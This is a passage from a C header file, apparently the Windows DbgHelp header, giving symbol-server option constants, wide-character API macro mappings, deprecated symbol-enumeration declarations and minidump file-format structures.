0x00000040\n#define SSRVOPT_GETPATH 0x00000040\n#define SSRVOPT_PARENTWIN 0x00000080\n#define SSRVOPT_PARAMTYPE 0x00000100\n#define SSRVOPT_SECURE 0x00000200\n#define SSRVOPT_TRACE 0x00000400\n#define SSRVOPT_SETCONTEXT 0x00000800\n#define SSRVOPT_PROXY 0x00001000\n#define SSRVOPT_DOWNSTREAM_STORE 0x00002000\n#define SSRVOPT_OVERWRITE 0x00004000\n#define SSRVOPT_RESETTOU 0x00008000\n#define SSRVOPT_CALLBACKW 0x00010000\n#define SSRVOPT_FLAT_DEFAULT_STORE 0x00020000\n#define SSRVOPT_PROXYW 0x00040000\n#define SSRVOPT_MESSAGE 0x00080000\n#define SSRVOPT_SERVICE 0x00100000 // deprecated\n#define SSRVOPT_FAVOR_COMPRESSED 0x00200000\n#define SSRVOPT_STRING 0x00400000\n#define SSRVOPT_WINHTTP 0x00800000\n#define SSRVOPT_WININET 0x01000000\n\n#define SSRVOPT_MAX 0x0100000\n\n#define SSRVOPT_RESET ((ULONG_PTR)-1)\n\n\n#define NUM_SSRVOPTS 30\n\n#define SSRVACTION_TRACE 1\n#define SSRVACTION_QUERYCANCEL 2\n#define SSRVACTION_EVENT 3\n#define SSRVACTION_EVENTW 4\n#define SSRVACTION_SIZE 5\n\n#define SYMSTOREOPT_COMPRESS 0x01\n#define SYMSTOREOPT_OVERWRITE 0x02\n#define SYMSTOREOPT_RETURNINDEX 0x04\n#define SYMSTOREOPT_POINTER 0x08\n#define SYMSTOREOPT_ALT_INDEX 0x10\n#define SYMSTOREOPT_UNICODE 0x20\n#define SYMSTOREOPT_PASS_IF_EXISTS 0x40\n\n#ifdef DBGHELP_TRANSLATE_TCHAR\n #define SymInitialize SymInitializeW\n #define SymAddSymbol SymAddSymbolW\n #define SymDeleteSymbol SymDeleteSymbolW\n #define SearchTreeForFile SearchTreeForFileW\n #define UnDecorateSymbolName UnDecorateSymbolNameW\n #define SymGetLineFromName64 SymGetLineFromNameW64\n #define SymGetLineFromAddr64 SymGetLineFromAddrW64\n #define SymGetLineNext64 SymGetLineNextW64\n #define SymGetLinePrev64 SymGetLinePrevW64\n #define SymFromName SymFromNameW\n #define SymFindExecutableImage SymFindExecutableImageW\n #define FindExecutableImageEx FindExecutableImageExW\n #define SymSearch SymSearchW\n #define SymEnumLines SymEnumLinesW\n #define SymEnumSourceLines SymEnumSourceLinesW\n #define SymGetTypeFromName SymGetTypeFromNameW\n #define SymEnumSymbolsForAddr SymEnumSymbolsForAddrW\n #define SymFromAddr SymFromAddrW\n #define SymMatchString SymMatchStringW\n #define SymEnumSourceFiles SymEnumSourceFilesW\n #define SymEnumSymbols SymEnumSymbolsW\n #define SymLoadModuleEx SymLoadModuleExW\n #define SymSetSearchPath SymSetSearchPathW\n #define SymGetSearchPath SymGetSearchPathW\n #define EnumDirTree EnumDirTreeW\n #define SymFromToken SymFromTokenW\n #define SymFromIndex SymFromIndexW\n #define SymGetScope SymGetScopeW\n #define SymNext SymNextW\n #define SymPrev SymPrevW\n #define SymEnumTypes SymEnumTypesW\n #define SymEnumTypesByName SymEnumTypesByNameW\n #define SymRegisterCallback64 SymRegisterCallbackW64\n #define SymFindDebugInfoFile SymFindDebugInfoFileW\n #define FindDebugInfoFileEx FindDebugInfoFileExW\n #define SymFindFileInPath SymFindFileInPathW\n #define SymEnumerateModules64 SymEnumerateModulesW64\n #define SymSetHomeDirectory SymSetHomeDirectoryW\n #define SymGetHomeDirectory SymGetHomeDirectoryW\n #define SymGetSourceFile SymGetSourceFileW\n #define SymGetSourceFileToken SymGetSourceFileTokenW\n #define SymGetSourceFileFromToken SymGetSourceFileFromTokenW\n #define SymGetSourceVarFromToken SymGetSourceVarFromTokenW\n #define SymGetSourceFileToken SymGetSourceFileTokenW\n #define SymGetFileLineOffsets64 SymGetFileLineOffsetsW64\n #define SymFindFileInPath SymFindFileInPathW\n #define SymMatchFileName SymMatchFileNameW\n #define SymGetSourceFileFromToken SymGetSourceFileFromTokenW\n #define SymGetSourceVarFromToken SymGetSourceVarFromTokenW\n #define SymGetModuleInfo64 SymGetModuleInfoW64\n #define SymSrvIsStore SymSrvIsStoreW\n #define SymSrvDeltaName SymSrvDeltaNameW\n #define SymSrvGetSupplement SymSrvGetSupplementW\n #define SymSrvStoreSupplement SymSrvStoreSupplementW\n #define SymSrvGetFileIndexes SymSrvGetFileIndexes\n #define SymSrvGetFileIndexString SymSrvGetFileIndexStringW\n #define SymSrvStoreFile SymSrvStoreFileW\n #define SymGetSymbolFile SymGetSymbolFileW\n #define EnumerateLoadedModules64 EnumerateLoadedModulesW64\n #define EnumerateLoadedModulesEx EnumerateLoadedModulesExW\n #define SymSrvGetFileIndexInfo SymSrvGetFileIndexInfoW\n\n #define IMAGEHLP_LINE64 IMAGEHLP_LINEW64\n #define PIMAGEHLP_LINE64 PIMAGEHLP_LINEW64\n #define SYMBOL_INFO SYMBOL_INFOW\n #define PSYMBOL_INFO PSYMBOL_INFOW\n #define SYMBOL_INFO_PACKAGE SYMBOL_INFO_PACKAGEW\n #define PSYMBOL_INFO_PACKAGE PSYMBOL_INFO_PACKAGEW\n #define FIND_EXE_FILE_CALLBACK FIND_EXE_FILE_CALLBACKW\n #define PFIND_EXE_FILE_CALLBACK PFIND_EXE_FILE_CALLBACKW\n #define SYM_ENUMERATESYMBOLS_CALLBACK SYM_ENUMERATESYMBOLS_CALLBACKW\n #define PSYM_ENUMERATESYMBOLS_CALLBACK PSYM_ENUMERATESYMBOLS_CALLBACKW\n #define SRCCODEINFO SRCCODEINFOW\n #define PSRCCODEINFO PSRCCODEINFOW\n #define SOURCEFILE SOURCEFILEW\n #define PSOURCEFILE PSOURCEFILEW\n #define SYM_ENUMSOURECFILES_CALLBACK SYM_ENUMSOURCEFILES_CALLBACKW\n #define PSYM_ENUMSOURCEFILES_CALLBACK PSYM_ENUMSOURECFILES_CALLBACKW\n #define IMAGEHLP_CBA_EVENT IMAGEHLP_CBA_EVENTW\n #define PIMAGEHLP_CBA_EVENT PIMAGEHLP_CBA_EVENTW\n #define PENUMDIRTREE_CALLBACK PENUMDIRTREE_CALLBACKW\n #define IMAGEHLP_DEFERRED_SYMBOL_LOAD64 IMAGEHLP_DEFERRED_SYMBOL_LOADW64\n #define PIMAGEHLP_DEFERRED_SYMBOL_LOAD64 PIMAGEHLP_DEFERRED_SYMBOL_LOADW64\n #define PFIND_DEBUG_FILE_CALLBACK PFIND_DEBUG_FILE_CALLBACKW\n #define PFINDFILEINPATHCALLBACK PFINDFILEINPATHCALLBACKW\n #define IMAGEHLP_MODULE64 IMAGEHLP_MODULEW64\n #define PIMAGEHLP_MODULE64 PIMAGEHLP_MODULEW64\n #define SYMSRV_INDEX_INFO SYMSRV_INDEX_INFOW\n #define PSYMSRV_INDEX_INFO PSYMSRV_INDEX_INFOW\n\n #define PSYMBOLSERVERPROC PSYMBOLSERVERPROCW\n #define PSYMBOLSERVERPINGPROC PSYMBOLSERVERPINGPROCW\n#endif\n\n// -----------------------------------------------------------------\n// The following APIs exist only for backwards compatibility\n// with a pre-release version documented in an MSDN release.\n\n// You should use SymFindFileInPath if you want to maintain\n// future compatibility.\n\nDBHLP_DEPRECIATED\nBOOL\nIMAGEAPI\nFindFileInPath(\n __in HANDLE hprocess,\n __in PCSTR SearchPath,\n __in PCSTR FileName,\n __in PVOID id,\n __in DWORD two,\n __in DWORD three,\n __in DWORD flags,\n __out_ecount(MAX_PATH + 1) PSTR FilePath\n );\n\n// You should use SymFindFileInPath if you want to maintain\n// future compatibility.\n\nDBHLP_DEPRECIATED\nBOOL\nIMAGEAPI\nFindFileInSearchPath(\n __in HANDLE hprocess,\n __in PCSTR SearchPath,\n __in PCSTR FileName,\n __in DWORD one,\n __in DWORD two,\n __in DWORD three,\n __out_ecount(MAX_PATH + 1) PSTR FilePath\n );\n\nDBHLP_DEPRECIATED\nBOOL\nIMAGEAPI\nSymEnumSym(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nDBHLP_DEPRECIATED\nBOOL\nIMAGEAPI\nSymEnumerateSymbols64(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PSYM_ENUMSYMBOLS_CALLBACK64 EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nDBHLP_DEPRECIATED\nBOOL\nIMAGEAPI\nSymEnumerateSymbolsW64(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PSYM_ENUMSYMBOLS_CALLBACK64W EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymEnumerateSymbols SymEnumerateSymbols64\n#define SymEnumerateSymbolsW SymEnumerateSymbolsW64\n#else\nDBHLP_DEPRECIATED\nBOOL\nIMAGEAPI\nSymEnumerateSymbols(\n __in HANDLE hProcess,\n __in ULONG BaseOfDll,\n __in PSYM_ENUMSYMBOLS_CALLBACK EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nDBHLP_DEPRECIATED\nBOOL\nIMAGEAPI\nSymEnumerateSymbolsW(\n __in HANDLE hProcess,\n __in ULONG BaseOfDll,\n __in PSYM_ENUMSYMBOLS_CALLBACKW EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n#endif\n\n// use SymLoadModuleEx\n\nDWORD64\nIMAGEAPI\nSymLoadModule64(\n __in HANDLE hProcess,\n __in_opt HANDLE hFile,\n __in_opt PCSTR ImageName,\n __in_opt PCSTR ModuleName,\n __in DWORD64 BaseOfDll,\n __in DWORD SizeOfDll\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymLoadModule SymLoadModule64\n#else\nDWORD\nIMAGEAPI\nSymLoadModule(\n __in HANDLE hProcess,\n __in_opt HANDLE hFile,\n __in_opt PCSTR ImageName,\n __in_opt PCSTR ModuleName,\n __in DWORD BaseOfDll,\n __in DWORD SizeOfDll\n );\n#endif\n\nBOOL\nIMAGEAPI\nSymGetSymNext64(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_SYMBOL64 Symbol\n );\n\nBOOL\nIMAGEAPI\nSymGetSymNextW64(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_SYMBOLW64 Symbol\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetSymNext SymGetSymNext64\n#define SymGetSymNextW SymGetSymNextW64\n#else\nBOOL\nIMAGEAPI\nSymGetSymNext(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_SYMBOL Symbol\n );\n\nBOOL\nIMAGEAPI\nSymGetSymNextW(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_SYMBOLW Symbol\n );\n#endif\n\nBOOL\nIMAGEAPI\nSymGetSymPrev64(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_SYMBOL64 Symbol\n );\n\nBOOL\nIMAGEAPI\nSymGetSymPrevW64(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_SYMBOLW64 Symbol\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetSymPrev SymGetSymPrev64\n#define SymGetSymPrevW SymGetSymPrevW64\n#else\nBOOL\nIMAGEAPI\nSymGetSymPrev(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_SYMBOL Symbol\n );\n\nBOOL\nIMAGEAPI\nSymGetSymPrevW(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_SYMBOLW Symbol\n );\n#endif\n\n\n// These values should not be used.\n// They have been replaced by SYMFLAG_ values.\n\n#define SYMF_OMAP_GENERATED 0x00000001\n#define SYMF_OMAP_MODIFIED 0x00000002\n#define SYMF_REGISTER 0x00000008\n#define SYMF_REGREL 0x00000010\n#define SYMF_FRAMEREL 0x00000020\n#define SYMF_PARAMETER 0x00000040\n#define SYMF_LOCAL 0x00000080\n#define SYMF_CONSTANT 0x00000100\n#define SYMF_EXPORT 0x00000200\n#define SYMF_FORWARDER 0x00000400\n#define SYMF_FUNCTION 0x00000800\n#define SYMF_VIRTUAL 0x00001000\n#define SYMF_THUNK 0x00002000\n#define SYMF_TLSREL 0x00004000\n\n// These values should also not be used.\n// They have been replaced by SYMFLAG_ values.\n\n#define IMAGEHLP_SYMBOL_INFO_VALUEPRESENT 1\n#define IMAGEHLP_SYMBOL_INFO_REGISTER SYMF_REGISTER // 0x0008\n#define IMAGEHLP_SYMBOL_INFO_REGRELATIVE SYMF_REGREL // 0x0010\n#define IMAGEHLP_SYMBOL_INFO_FRAMERELATIVE SYMF_FRAMEREL // 0x0020\n#define IMAGEHLP_SYMBOL_INFO_PARAMETER SYMF_PARAMETER // 0x0040\n#define IMAGEHLP_SYMBOL_INFO_LOCAL SYMF_LOCAL // 0x0080\n#define IMAGEHLP_SYMBOL_INFO_CONSTANT SYMF_CONSTANT // 0x0100\n#define IMAGEHLP_SYMBOL_FUNCTION SYMF_FUNCTION // 0x0800\n#define IMAGEHLP_SYMBOL_VIRTUAL SYMF_VIRTUAL // 0x1000\n#define IMAGEHLP_SYMBOL_THUNK SYMF_THUNK // 0x2000\n#define IMAGEHLP_SYMBOL_INFO_TLSRELATIVE SYMF_TLSREL // 0x4000\n\n#include \n\n\n#include \n\n#if defined(_MSC_VER)\n#if _MSC_VER >= 800\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n#pragma warning(disable:4200) /* Zero length array */\n#pragma warning(disable:4201) /* Nameless struct/union */\n#endif\n#endif\n\n#define MINIDUMP_SIGNATURE ('PMDM')\n#define MINIDUMP_VERSION (42899)\ntypedef DWORD RVA;\ntypedef ULONG64 RVA64;\n\ntypedef struct _MINIDUMP_LOCATION_DESCRIPTOR {\n ULONG32 DataSize;\n RVA Rva;\n} MINIDUMP_LOCATION_DESCRIPTOR;\n\ntypedef struct _MINIDUMP_LOCATION_DESCRIPTOR64 {\n ULONG64 DataSize;\n RVA64 Rva;\n} MINIDUMP_LOCATION_DESCRIPTOR64;\n\n\ntypedef struct _MINIDUMP_MEMORY_DESCRIPTOR {\n ULONG64 StartOfMemoryRange;\n MINIDUMP_LOCATION_DESCRIPTOR Memory;\n} MINIDUMP_MEMORY_DESCRIPTOR, *PMINIDUMP_MEMORY_DESCRIPTOR;\n\n// DESCRIPTOR64 is used for full-memory minidumps where\n// all of the raw memory is laid out sequentially at the\n// end of the dump. There is no need for individual RVAs\n// as the RVA is the base RVA plus the sum of the preceeding\n// data blocks.\ntypedef struct _MINIDUMP_MEMORY_DESCRIPTOR64 {\n ULONG64 StartOfMemoryRange;\n ULONG64 DataSize;\n} MINIDUMP_MEMORY_DESCRIPTOR64, *PMINIDUMP_MEMORY_DESCRIPTOR64;\n\n\ntypedef struct _MINIDUMP_HEADER {\n ULONG32 Signature;\n ULONG32 Version;\n ULONG32 NumberOfStreams;\n RVA StreamDirectoryRva;\n ULONG32 CheckSum;\n union {\n ULONG32 Reserved;\n ULONG32 TimeDateStamp;\n };\n ULONG64 Flags;\n} MINIDUMP_HEADER, *PMINIDUMP_HEADER;\n\n//\n// The MINIDUMP_HEADER field StreamDirectoryRva points to \n// an array of MINIDUMP_DIRECTORY structures.\n//\n\ntypedef struct _MINIDUMP_DIRECTORY {\n ULONG32 StreamType;\n MINIDUMP_LOCATION_DESCRIPTOR Location;\n} MINIDUMP_DIRECTORY, *PMINIDUMP_DIRECTORY;\n\n\ntypedef struct _MINIDUMP_STRING {\n ULONG32 Length; // Length in bytes of the string\n WCHAR Buffer [0]; // Variable size buffer\n} MINIDUMP_STRING, *PMINIDUMP_STRING;\n\n\n\n//\n// The MINIDUMP_DIRECTORY field StreamType may be one of the following types.\n// Types will be added in the future, so if a program reading the minidump\n// header encounters a stream type it does not understand it should ignore\n// the data altogether. Any tag above LastReservedStream will not be used by\n// the system and is reserved for program-specific information.\n//\n\ntypedef enum _MINIDUMP_STREAM_TYPE {\n\n UnusedStream = 0,\n ReservedStream0 = 1,\n ReservedStream1 = 2,\n ThreadListStream = 3,\n ModuleListStream = 4,\n MemoryListStream = 5,\n ExceptionStream = 6,\n SystemInfoStream = 7,\n ThreadExListStream = 8,\n Memory64ListStream = 9,\n CommentStreamA = 10,\n CommentStreamW = 11,\n HandleDataStream = 12,\n FunctionTableStream = 13,\n UnloadedModuleListStream = 14,\n MiscInfoStream = 15,\n MemoryInfoListStream = 16,\n ThreadInfoListStream = 17,\n HandleOperationListStream = 18,\n TokenStream = 19,\n\n ceStreamNull = 0x8000,\n ceStreamSystemInfo = 0x8001,\n ceStreamException = 0x8002,\n ceStreamModuleList = 0x8003,\n ceStreamProcessList = 0x8004,\n ceStreamThreadList = 0x8005, \n ceStreamThreadContextList = 0x8006,\n ceStreamThreadCallStackList = 0x8007,\n ceStreamMemoryVirtualList = 0x8008,\n ceStreamMemoryPhysicalList = 0x8009,\n ceStreamBucketParameters = 0x800A, \n ceStreamProcessModuleMap = 0x800B,\n ceStreamDiagnosisList = 0x800C,\n\n LastReservedStream = 0xffff\n\n} MINIDUMP_STREAM_TYPE;\n\n\n//\n// The minidump system information contains processor and\n// Operating System specific information.\n// \n\n//\n// CPU information is obtained from one of two places.\n//\n// 1) On x86 computers, CPU_INFORMATION is obtained from the CPUID\n// instruction. You must use the X86 portion of the union for X86\n// computers.\n//\n// 2) On non-x86 architectures, CPU_INFORMATION is obtained by calling\n// IsProcessorFeatureSupported().\n//\n\ntypedef union _CPU_INFORMATION {\n\n //\n // X86 platforms use CPUID function to obtain processor information.\n //\n \n struct {\n\n //\n // CPUID Subfunction 0, register EAX (VendorId [0]),\n // EBX (VendorId [1]) and ECX (VendorId [2]).\n //\n \n ULONG32 VendorId [ 3 ];\n \n //\n // CPUID Subfunction 1, register EAX\n //\n \n ULONG32 VersionInformation;\n\n //\n // CPUID Subfunction 1, register EDX\n //\n \n ULONG32 FeatureInformation;\n \n\n //\n // CPUID, Subfunction 80000001, register EBX. This will only\n // be obtained if the vendor id is \"AuthenticAMD\".\n //\n \n ULONG32 AMDExtendedCpuFeatures;\n\n } X86CpuInfo;\n\n //\n // Non-x86 platforms use processor feature flags.\n //\n \n struct {\n\n ULONG64 ProcessorFeatures [ 2 ];\n \n } OtherCpuInfo;\n\n} CPU_INFORMATION, *PCPU_INFORMATION;\n \ntypedef struct _MINIDUMP_SYSTEM_INFO {\n\n //\n // ProcessorArchitecture, ProcessorLevel and ProcessorRevision are all\n // taken from the SYSTEM_INFO structure obtained by GetSystemInfo( ).\n //\n \n USHORT ProcessorArchitecture;\n USHORT ProcessorLevel;\n USHORT ProcessorRevision;\n\n union {\n USHORT Reserved0;\n struct {\n UCHAR NumberOfProcessors;\n UCHAR ProductType;\n };\n };\n\n //\n // MajorVersion, MinorVersion, BuildNumber, PlatformId and\n // CSDVersion are all taken from the OSVERSIONINFO structure\n // returned by GetVersionEx( ).\n //\n \n ULONG32 MajorVersion;\n ULONG32 MinorVersion;\n ULONG32 BuildNumber;\n ULONG32 PlatformId;\n\n //\n // RVA to a CSDVersion string in the string table.\n //\n \n RVA CSDVersionRva;\n\n union {\n ULONG32 Reserved1;\n struct {\n USHORT SuiteMask;\n USHORT Reserved2;\n };\n };\n\n CPU_INFORMATION Cpu;\n\n} MINIDUMP_SYSTEM_INFO, *PMINIDUMP_SYSTEM_INFO;\n\n\n//\n// The minidump thread contains standard thread\n// information plus an RVA to the memory for this \n// thread and an RVA to the CONTEXT structure for\n// this thread.\n//\n\n\n//\n// ThreadId must be 4 bytes on all architectures.\n//\n\nC_ASSERT (sizeof ( ((PPROCESS_INFORMATION)0)->dwThreadId ) == 4);\n\ntypedef struct _MINIDUMP_THREAD {\n ULONG32 ThreadId;\n ULONG32 SuspendCount;\n ULONG32 PriorityClass;\n ULONG32 Priority;\n ULONG64 Teb;\n MINIDUMP_MEMORY_DESCRIPTOR Stack;\n MINIDUMP_LOCATION_DESCRIPTOR ThreadContext;\n} MINIDUMP_THREAD, *PMINIDUMP_THREAD;\n\n//\n// The thread list is a container of threads.\n//\n\ntypedef struct _MINIDUMP_THREAD_LIST {\n ULONG32 NumberOfThreads;\n MINIDUMP_THREAD Threads [0];\n} MINIDUMP_THREAD_LIST, *PMINIDUMP_THREAD_LIST;\n\n\ntypedef struct _MINIDUMP_THREAD_EX {\n ULONG32 ThreadId;\n ULONG32 SuspendCount;\n ULONG32 PriorityClass;\n ULONG32 Priority;\n ULONG64 Teb;\n MINIDUMP_MEMORY_DESCRIPTOR Stack;\n MINIDUMP_LOCATION_DESCRIPTOR ThreadContext;\n MINIDUMP_MEMORY_DESCRIPTOR BackingStore;\n} MINIDUMP_THREAD_EX, *PMINIDUMP_THREAD_EX;\n\n//\n// The thread list is a container of threads.\n//\n\ntypedef struct _MINIDUMP_THREAD_EX_LIST {\n ULONG32 NumberOfThreads;\n MINIDUMP_THREAD_EX Threads [0];\n} MINIDUMP_THREAD_EX_LIST, *PMINIDUMP_THREAD_EX_LIST;\n\n\n//\n// The MINIDUMP_EXCEPTION is the same as EXCEPTION on Win64.\n//\n\ntypedef struct _MINIDUMP_EXCEPTION {\n ULONG32 ExceptionCode;\n ULONG32 ExceptionFlags;\n ULONG64 ExceptionRecord;\n ULONG64 ExceptionAddress;\n ULONG32 NumberParameters;\n ULONG32 __unusedAlignment;\n ULONG64 ExceptionInformation [ EXCEPTION_MAXIMUM_PARAMETERS ];\n} MINIDUMP_EXCEPTION, *PMINIDUMP_EXCEPTION;\n\n\n//\n// The exception information stream contains the id of the thread that caused\n// the exception (ThreadId), the exception record for the exception\n// (ExceptionRecord) and an RVA to the thread context where the exception\n// occured.\n//\n\ntypedef struct MINIDUMP_EXCEPTION_STREAM {\n ULONG32 ThreadId;\n ULONG32 __alignment;\n MINIDUMP_EXCEPTION ExceptionRecord;\n MINIDUMP_LOCATION_DESCRIPTOR ThreadContext;\n} MINIDUMP_EXCEPTION_STREAM, *PMINIDUMP_EXCEPTION_STREAM;\n\n\n//\n// The MINIDUMP_MODULE contains information about a\n// a specific module. It includes the CheckSum and\n// the TimeDateStamp for the module so the module\n// can be reloaded during the analysis phase.\n//\n\ntypedef struct _MINIDUMP_MODULE {\n ULONG64 BaseOfImage;\n ULONG32 SizeOfImage;\n ULONG32 CheckSum;\n ULONG32 TimeDateStamp;\n RVA ModuleNameRva;\n VS_FIXEDFILEINFO VersionInfo;\n MINIDUMP_LOCATION_DESCRIPTOR CvRecord;\n MINIDUMP_LOCATION_DESCRIPTOR MiscRecord;\n ULONG64 Reserved0; // Reserved for future use.\n ULONG64 Reserved1; // Reserved for future use.\n} MINIDUMP_MODULE, *PMINIDUMP_MODULE; \n\n\n//\n// The minidump module list is a container for modules.\n//\n\ntypedef struct _MINIDUMP_MODULE_LIST {\n ULONG32 NumberOfModules;\n MINIDUMP_MODULE Modules [ 0 ];\n} MINIDUMP_MODULE_LIST, *PMINIDUMP_MODULE_LIST;\n\n\n//\n// Memory Ranges\n//\n\ntypedef struct _MINIDUMP_MEMORY_LIST {\n ULONG32 NumberOfMemoryRanges;\n MINIDUMP_MEMORY_DESCRIPTOR MemoryRanges [0];\n} MINIDUMP_MEMORY_LIST, *PMINIDUMP_MEMORY_LIST;\n\ntypedef struct _MINIDUMP_MEMORY64_LIST {\n ULONG64 NumberOfMemoryRanges;\n RVA64 BaseRva;\n MINIDUMP_MEMORY_DESCRIPTOR64 MemoryRanges [0];\n} MINIDUMP_MEMORY64_LIST, *PMINIDUMP_MEMORY64_LIST;\n\n\n//\n// Support for user supplied exception information.\n//\n\ntypedef struct _MINIDUMP_EXCEPTION_INFORMATION {\n DWORD ThreadId;\n PEXCEPTION_POINTERS ExceptionPointers;\n BOOL ClientPointers;\n} MINIDUMP_EXCEPTION_INFORMATION, *PMINIDUMP_EXCEPTION_INFORMATION;\n\ntypedef struct _MINIDUMP_EXCEPTION_INFORMATION64 {\n DWORD ThreadId;\n ULONG64 ExceptionRecord;\n ULONG64 ContextRecord;\n BOOL ClientPointers;\n} MINIDUMP_EXCEPTION_INFORMATION64, *PMINIDUMP_EXCEPTION_INFORMATION64;\n\n\n//\n// Support for capturing system handle state at the time of the dump.\n//\n\n// Per-handle object information varies according to\n// the OS, the OS version, the processor type and\n// so on. The minidump gives a minidump identifier\n// to each possible data format for identification\n// purposes but does not control nor describe the actual data.\ntypedef enum _MINIDUMP_HANDLE_OBJECT_INFORMATION_TYPE {\n MiniHandleObjectInformationNone,\n MiniThreadInformation1,\n MiniMutantInformation1,\n MiniMutantInformation2,\n MiniProcessInformation1,\n MiniProcessInformation2,\n MiniHandleObjectInformationTypeMax\n} MINIDUMP_HANDLE_OBJECT_INFORMATION_TYPE;\n\ntypedef struct _MINIDUMP_HANDLE_OBJECT_INFORMATION {\n RVA NextInfoRva;\n ULONG32 InfoType;\n ULONG32 SizeOfInfo;\n // Raw information follows.\n} MINIDUMP_HANDLE_OBJECT_INFORMATION;\n\ntypedef struct _MINIDUMP_HANDLE_DESCRIPTOR {\n ULONG64 Handle;\n RVA TypeNameRva;\n RVA ObjectNameRva;\n ULONG32 Attributes;\n ULONG32 GrantedAccess;\n ULONG32 HandleCount;\n ULONG32 PointerCount;\n} MINIDUMP_HANDLE_DESCRIPTOR, *PMINIDUMP_HANDLE_DESCRIPTOR;\n\ntypedef struct _MINIDUMP_HANDLE_DESCRIPTOR_2 {\n ULONG64 Handle;\n RVA TypeNameRva;\n RVA ObjectNameRva;\n ULONG32 Attributes;\n ULONG32 GrantedAccess;\n ULONG32 HandleCount;\n ULONG32 PointerCount;\n RVA ObjectInfoRva;\n ULONG32 Reserved0;\n} MINIDUMP_HANDLE_DESCRIPTOR_2, *PMINIDUMP_HANDLE_DESCRIPTOR_2;\n\n// The latest MINIDUMP_HANDLE_DESCRIPTOR definition.\ntypedef MINIDUMP_HANDLE_DESCRIPTOR_2 MINIDUMP_HANDLE_DESCRIPTOR_N;\ntypedef MINIDUMP_HANDLE_DESCRIPTOR_N *PMINIDUMP_HANDLE_DESCRIPTOR_N;\n\ntypedef struct _MINIDUMP_HANDLE_DATA_STREAM {\n ULONG32 SizeOfHeader;\n ULONG32 SizeOfDescriptor;\n ULONG32 NumberOfDescriptors;\n ULONG32 Reserved;\n} MINIDUMP_HANDLE_DATA_STREAM, *PMINIDUMP_HANDLE_DATA_STREAM;\n\n// Some operating systems can track the last operations\n// performed on a handle. For example, Application Verifier\n// can enable this for some versions of Windows. The\n// handle operation list collects handle operations\n// known for the dump target.\n// Each entry is an AVRF_HANDLE_OPERATION.\ntypedef struct _MINIDUMP_HANDLE_OPERATION_LIST {\n ULONG32 SizeOfHeader;\n ULONG32 SizeOfEntry;\n ULONG32 NumberOfEntries;\n ULONG32 Reserved;\n} MINIDUMP_HANDLE_OPERATION_LIST, *PMINIDUMP_HANDLE_OPERATION_LIST;\n\n\n//\n// Support for capturing dynamic function table state at the time of the dump.\n//\n\ntypedef struct _MINIDUMP_FUNCTION_TABLE_DESCRIPTOR {\n ULONG64 MinimumAddress;\n ULONG64 MaximumAddress;\n ULONG64 BaseAddress;\n ULONG32 EntryCount;\n ULONG32 SizeOfAlignPad;\n} MINIDUMP_FUNCTION_TABLE_DESCRIPTOR, *PMINIDUMP_FUNCTION_TABLE_DESCRIPTOR;\n\ntypedef struct _MINIDUMP_FUNCTION_TABLE_STREAM {\n ULONG32 SizeOfHeader;\n ULONG32 SizeOfDescriptor;\n ULONG32 SizeOfNativeDescriptor;\n ULONG32 SizeOfFunctionEntry;\n ULONG32 NumberOfDescriptors;\n ULONG32 SizeOfAlignPad;\n} MINIDUMP_FUNCTION_TABLE_STREAM, *PMINIDUMP_FUNCTION_TABLE_STREAM;\n\n\n//\n// The MINIDUMP_UNLOADED_MODULE contains information about a\n// a specific module that was previously loaded but no\n// longer is. This can help with diagnosing problems where\n// callers attempt to call code that is no longer loaded.\n//\n\ntypedef struct _MINIDUMP_UNLOADED_MODULE {\n ULONG64 BaseOfImage;\n ULONG32 SizeOfImage;\n ULONG32 CheckSum;\n ULONG32 TimeDateStamp;\n RVA ModuleNameRva;\n} MINIDUMP_UNLOADED_MODULE, *PMINIDUMP_UNLOADED_MODULE;\n\n\n//\n// The minidump unloaded module list is a container for unloaded modules.\n//\n\ntypedef struct _MINIDUMP_UNLOADED_MODULE_LIST {\n ULONG32 SizeOfHeader;\n ULONG32 SizeOfEntry;\n ULONG32 NumberOfEntries;\n} MINIDUMP_UNLOADED_MODULE_LIST, *PMINIDUMP_UNLOADED_MODULE_LIST;\n\n\n//\n// The miscellaneous information stream contains a variety\n// of small pieces of information. A member is valid if\n// it's within the available size and its corresponding\n// bit is set.\n//\n\n#define MINIDUMP_MISC1_PROCESS_ID 0x00000001\n#define MINIDUMP_MISC1_PROCESS_TIMES 0x00000002\n#define MINIDUMP_MISC1_PROCESSOR_POWER_INFO 0x00000004\n#define MINIDUMP_MISC3_PROCESS_INTEGRITY 0x00000010\n#define MINIDUMP_MISC3_PROCESS_EXECUTE_FLAGS 0x00000020\n#define MINIDUMP_MISC3_TIMEZONE 0x00000040\n#define MINIDUMP_MISC3_PROTECTED_PROCESS 0x00000080\n\ntypedef struct _MINIDUMP_MISC_INFO {\n ULONG32 SizeOfInfo;\n ULONG32 Flags1;\n ULONG32 ProcessId;\n ULONG32 ProcessCreateTime;\n ULONG32 ProcessUserTime;\n ULONG32 ProcessKernelTime;\n} MINIDUMP_MISC_INFO, *PMINIDUMP_MISC_INFO;\n\ntypedef struct _MINIDUMP_MISC_INFO_2 {\n ULONG32 SizeOfInfo;\n ULONG32 Flags1;\n ULONG32 ProcessId;\n ULONG32 